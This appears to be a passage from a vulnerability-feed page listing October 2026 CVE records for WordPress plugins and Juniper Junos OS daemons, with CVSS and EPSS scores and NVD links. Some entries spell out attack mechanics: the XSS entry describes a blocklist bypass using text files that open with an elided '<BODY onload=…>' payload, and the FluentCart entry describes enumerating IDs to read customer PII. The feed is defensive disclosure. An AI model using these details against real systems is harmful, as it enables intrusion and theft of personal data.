https://kevwire.com/record/CVE-2026-103999
The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File Upload in all versions up to, and including, 3.5.54 due to... (Oct 16, 2026).
The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File Upload in all versions up to, and including, 3.5.54 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The extension blocklist gatekeeper is bypassed by uploading text-type files (.txt, .csv, .vtt, .srt, .asc) whose contents begin with an HTML payload such as '<BODY onload=…>', as the check classifies these files as text/plain without inspecting their byte content.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103999).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103999&date=2026-10-25).
Sources:
NVD CVE-2026-103999: https://nvd.nist.gov/vuln/detail/CVE-2026-103999
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103999&date=2026-10-25
The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File Upload in all versions up to, and including, 3.5.54 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The extension blocklist gatekeeper is bypassed by uploading text-type files (.txt, .csv, .vtt, .srt, .asc) whose contents begin with an HTML payload such as '<BODY onload=…>', as the check classifies these files as text/plain without inspecting their byte content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to a limited file write via path traversal in versions up to, and...
https://kevwire.com/record/CVE-2026-103896
The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to a limited file write via path traversal in versions up to, and... (Oct 16, 2026).
The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to a limited file write via path traversal in versions up to, and including, 2.34.5 This is due to the OptimizerWebPageCache::get_cache_file_dir() function concatenating raw, unsanitized $_GET parameter names and values into the on-disk cache path, and the cache_content() sink calling mkdir() and file_put_contents() on the result with no realpath containment check — unlike the sibling delete_page_cache(), which does perform one. This makes it possible for unauthenticated attackers to create arbitrary directories (mode 0777, recursively) outside the cache root and write a cached page into them. The write is LIMITED: the filename is always 'source.html', so the extension is fixed, and the content is the rendered page buffer rather than attacker-supplied data. PHP files cannot be written and code execution is not possible; the demonstrated impact is cache poisoning and arbitrary directory creation.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103896).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103896&date=2026-10-25).
Sources:
NVD CVE-2026-103896: https://nvd.nist.gov/vuln/detail/CVE-2026-103896
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103896&date=2026-10-25
The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to a limited file write via path traversal in versions up to, and including, 2.34.5 This is due to the OptimizerWebPageCache::get_cache_file_dir() function concatenating raw, unsanitized $_GET parameter names and values into the on-disk cache path, and the cache_content() sink calling mkdir() and file_put_contents() on the result with no realpath containment check — unlike the sibling delete_page_cache(), which does perform one. This makes it possible for unauthenticated attackers to create arbitrary directories (mode 0777, recursively) outside the cache root and write a cached page into them. The write is LIMITED: the filename is always 'source.html', so the extension is fixed, and the content is the rendered page buffer rather than attacker-supplied data. PHP files cannot be written and code execution is not possible; the demonstrated impact is cache poisoning and arbitrary directory creation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the...
https://kevwire.com/record/CVE-2026-103768
The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the... (Oct 16, 2026).
The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the initMailPart function. This is due to insufficient file type validation when saving IMAP email attachments. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103768).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103768&date=2026-10-25).
Sources:
NVD CVE-2026-103768: https://nvd.nist.gov/vuln/detail/CVE-2026-103768
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103768&date=2026-10-25
The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.3.7 via the initMailPart function. This is due to insufficient file type validation when saving IMAP email attachments. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including,...
https://kevwire.com/record/CVE-2026-103525
The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including,... (Oct 16, 2026).
The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.7.0 via the 'order_id + billing_address_id (also shipping_address_id)' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to read and exfiltrate another customer's stored billing and shipping address PII — including street address, city, state, postcode, phone number, company name, VAT number, and legal registration ID — by enumerating sequential AUTO_INCREMENT order and address ID pairs. The id-equality guard intended to restrict address reuse is bypassed because the attacker controls both halves of the compared pair, and the unauthenticated AJAX entry point imposes only a soft rate limit of 5 requests per 60 seconds rather than any authentication or ownership check.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103525).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103525&date=2026-10-25).
Sources:
NVD CVE-2026-103525: https://nvd.nist.gov/vuln/detail/CVE-2026-103525
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103525&date=2026-10-25
The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.7.0 via the 'order_id + billing_address_id (also shipping_address_id)' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to read and exfiltrate another customer's stored billing and shipping address PII — including street address, city, state, postcode, phone number, company name, VAT number, and legal registration ID — by enumerating sequential AUTO_INCREMENT order and address ID pairs. The id-equality guard intended to restrict address reuse is bypassed because the attacker controls both halves of the compared pair, and the unauthenticated AJAX entry point imposes only a soft rate limit of 5 requests per 60 seconds rather than any authentication or ownership check.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check.
https://kevwire.com/record/CVE-2026-102298
In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check. (Oct 14, 2026).
In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check. An authenticated user can supply a caller-controlled Identifier parameter to validate credentials for another account and receive responses that distinguish nonexistent users, invalid passwords, and successful authentication. 

Successful exploitation may allow user enumeration, credential verification, and unauthorized access to MSP resources or compromise of targeted accounts.
CVSS 7.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102298).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102298&date=2026-10-25).
Sources:
NVD CVE-2026-102298: https://nvd.nist.gov/vuln/detail/CVE-2026-102298
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102298&date=2026-10-25
In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check. An authenticated user can supply a caller-controlled Identifier parameter to validate credentials for another account and receive responses that distinguish nonexistent users, invalid passwords, and successful authentication. 

Successful exploitation may allow user enumeration, credential verification, and unauthorized access to MSP resources or compromise of targeted accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Heap-based Buffer Overflow vulnerability in the sdxd service-deployment daemon of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated attacker who can...
https://kevwire.com/record/CVE-2026-102175
A Heap-based Buffer Overflow vulnerability in the sdxd service-deployment daemon of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated attacker who can... (Oct 14, 2026).
A Heap-based Buffer Overflow vulnerability in the sdxd service-deployment daemon of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated attacker who can control or intercept the configured SDX/SRC server connection to execute code as root or cause denial of service via a crafted frame received over the service-deployment TCP connection.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102175).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102175&date=2026-10-25).
Sources:
NVD CVE-2026-102175: https://nvd.nist.gov/vuln/detail/CVE-2026-102175
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102175&date=2026-10-25
A Heap-based Buffer Overflow vulnerability in the sdxd service-deployment daemon of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated attacker who can control or intercept the configured SDX/SRC server connection to execute code as root or cause denial of service via a crafted frame received over the service-deployment TCP connection.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the iked IKE key-management daemon of Juniper Networks Junos OS on the SRX Series allows an authenticated remote-access VPN client...
https://kevwire.com/record/CVE-2026-102174
A Stack-based Buffer Overflow vulnerability in the iked IKE key-management daemon of Juniper Networks Junos OS on the SRX Series allows an authenticated remote-access VPN client... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the iked IKE key-management daemon of Juniper Networks Junos OS on the SRX Series allows an authenticated remote-access VPN client to execute code with root privileges or cause denial of service via the remote-access VPN authentication and JIMS identity-publishing path.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102174).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102174&date=2026-10-25).
Sources:
NVD CVE-2026-102174: https://nvd.nist.gov/vuln/detail/CVE-2026-102174
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102174&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the iked IKE key-management daemon of Juniper Networks Junos OS on the SRX Series allows an authenticated remote-access VPN client to execute code with root privileges or cause denial of service via the remote-access VPN authentication and JIMS identity-publishing path.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to...
https://kevwire.com/record/CVE-2026-102061
A Stack-based Buffer Overflow vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to execute arbitrary code as root via a crafted DHCP SZTP bootstrap message.

This issue only affects platforms that support Secure-ZTP.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102061).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102061&date=2026-10-25).
Sources:
NVD CVE-2026-102061: https://nvd.nist.gov/vuln/detail/CVE-2026-102061
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102061&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to execute arbitrary code as root via a crafted DHCP SZTP bootstrap message.

This issue only affects platforms that support Secure-ZTP.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos...
https://kevwire.com/record/CVE-2026-102059
An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos... (Oct 14, 2026).
An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved on EX Series, SRX Series, and QFX Series allows an adjacent unauthenticated attacker to execute arbitrary commands with root privileges via a rogue DHCP server.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102059).
EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102059&date=2026-10-25).
Sources:
NVD CVE-2026-102059: https://nvd.nist.gov/vuln/detail/CVE-2026-102059
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102059&date=2026-10-25
An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in the phone-home daemon (phcd) of Juniper Networks Junos OS and Junos OS Evolved on EX Series, SRX Series, and QFX Series allows an adjacent unauthenticated attacker to execute arbitrary commands with root privileges via a rogue DHCP server.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the cfmd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on PTX Series platforms allows an unauthenticated...
https://kevwire.com/record/CVE-2026-102055
A Stack-based Buffer Overflow vulnerability in the cfmd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on PTX Series platforms allows an unauthenticated... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the cfmd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on PTX Series platforms allows an unauthenticated adjacent-network attacker to execute arbitrary code as root or cause denial of service via a specific CFM Message sent to a configured down-MEP with enhanced CFM mode enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102055).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102055&date=2026-10-25).
Sources:
NVD CVE-2026-102055: https://nvd.nist.gov/vuln/detail/CVE-2026-102055
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102055&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the cfmd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on PTX Series platforms allows an unauthenticated adjacent-network attacker to execute arbitrary code as root or cause denial of service via a specific CFM Message sent to a configured down-MEP with enhanced CFM mode enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause...
https://kevwire.com/record/CVE-2026-102052
A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause denial of service or execute arbitrary code with root privileges via a malformed DHCPv4 server response when the DHCPv4 local-client feature is used.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102052).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102052&date=2026-10-25).
Sources:
NVD CVE-2026-102052: https://nvd.nist.gov/vuln/detail/CVE-2026-102052
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102052&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause denial of service or execute arbitrary code with root privileges via a malformed DHCPv4 server response when the DHCPv4 local-client feature is used.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-102049
A Stack-based Buffer Overflow vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service or execute arbitrary code with root privileges via LLDP traffic received on an interface with Unified Access Policy enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102049).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102049&date=2026-10-25).
Sources:
NVD CVE-2026-102049: https://nvd.nist.gov/vuln/detail/CVE-2026-102049
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102049&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service or execute arbitrary code with root privileges via LLDP traffic received on an interface with Unified Access Policy enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS Command Injection vulnerability in TACACS of Juniper Networks Junos OS Evolved allows a low-privileged TACACS+-authenticated user to execute commands with root privileges...
https://kevwire.com/record/CVE-2026-102031
An OS Command Injection vulnerability in TACACS of Juniper Networks Junos OS Evolved allows a low-privileged TACACS+-authenticated user to execute commands with root privileges... (Oct 14, 2026).
An OS Command Injection vulnerability in TACACS of Juniper Networks Junos OS Evolved allows a low-privileged TACACS+-authenticated user to execute commands with root privileges when periodic TACACS+ authorization-refresh is enabled.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102031).
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102031&date=2026-10-25).
Sources:
NVD CVE-2026-102031: https://nvd.nist.gov/vuln/detail/CVE-2026-102031
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102031&date=2026-10-25
An OS Command Injection vulnerability in TACACS of Juniper Networks Junos OS Evolved allows a low-privileged TACACS+-authenticated user to execute commands with root privileges when periodic TACACS+ authorization-refresh is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Heap-based Buffer Overflow vulnerability in the secure-dot1xd process of Juniper Networks on Junos OS and Junos OS Evolved allows an unauthenticated adjacent network attacker to...
https://kevwire.com/record/CVE-2026-102015
A Heap-based Buffer Overflow vulnerability in the secure-dot1xd process of Juniper Networks on Junos OS and Junos OS Evolved allows an unauthenticated adjacent network attacker to... (Oct 14, 2026).
A Heap-based Buffer Overflow vulnerability in the secure-dot1xd process of Juniper Networks on Junos OS and Junos OS Evolved allows an unauthenticated adjacent network attacker to execute code as root or cause a denial of service via an EAPOL frame sent to an 802.1X-authenticated interface.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102015).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102015&date=2026-10-25).
Sources:
NVD CVE-2026-102015: https://nvd.nist.gov/vuln/detail/CVE-2026-102015
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102015&date=2026-10-25
A Heap-based Buffer Overflow vulnerability in the secure-dot1xd process of Juniper Networks on Junos OS and Junos OS Evolved allows an unauthenticated adjacent network attacker to execute code as root or cause a denial of service via an EAPOL frame sent to an 802.1X-authenticated interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the authd process of Juniper Networks Junos OS allows an attacker able to influence a configured RADIUS server to cause authd to...
https://kevwire.com/record/CVE-2026-102014
A Stack-based Buffer Overflow vulnerability in the authd process of Juniper Networks Junos OS allows an attacker able to influence a configured RADIUS server to cause authd to... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the authd process of Juniper Networks Junos OS allows an attacker able to influence a configured RADIUS server to cause authd to crash or execute code with root privileges via a malicious RADIUS response.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102014).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102014&date=2026-10-25).
Sources:
NVD CVE-2026-102014: https://nvd.nist.gov/vuln/detail/CVE-2026-102014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102014&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the authd process of Juniper Networks Junos OS allows an attacker able to influence a configured RADIUS server to cause authd to crash or execute code with root privileges via a malicious RADIUS response.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ipfd of Juniper Networks Junos OS on SRX Series allows an unauthenticated...
https://kevwire.com/record/CVE-2026-101997
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ipfd of Juniper Networks Junos OS on SRX Series allows an unauthenticated... (Oct 14, 2026).
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ipfd of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a configured Security Intelligence feed connection.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101997).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101997&date=2026-10-25).
Sources:
NVD CVE-2026-101997: https://nvd.nist.gov/vuln/detail/CVE-2026-101997
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101997&date=2026-10-25
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ipfd of Juniper Networks Junos OS on SRX Series allows an unauthenticated network-based attacker to execute code with root privileges via a configured Security Intelligence feed connection.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote configured BGP peer to cause an...
https://kevwire.com/record/CVE-2026-101990
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote configured BGP peer to cause an... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote configured BGP peer to cause an rpd crash, or on Junos OS remote code-execution, via sending a flow-spec update which is selected for re-advertisement.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101990).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101990&date=2026-10-25).
Sources:
NVD CVE-2026-101990: https://nvd.nist.gov/vuln/detail/CVE-2026-101990
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101990&date=2026-10-25
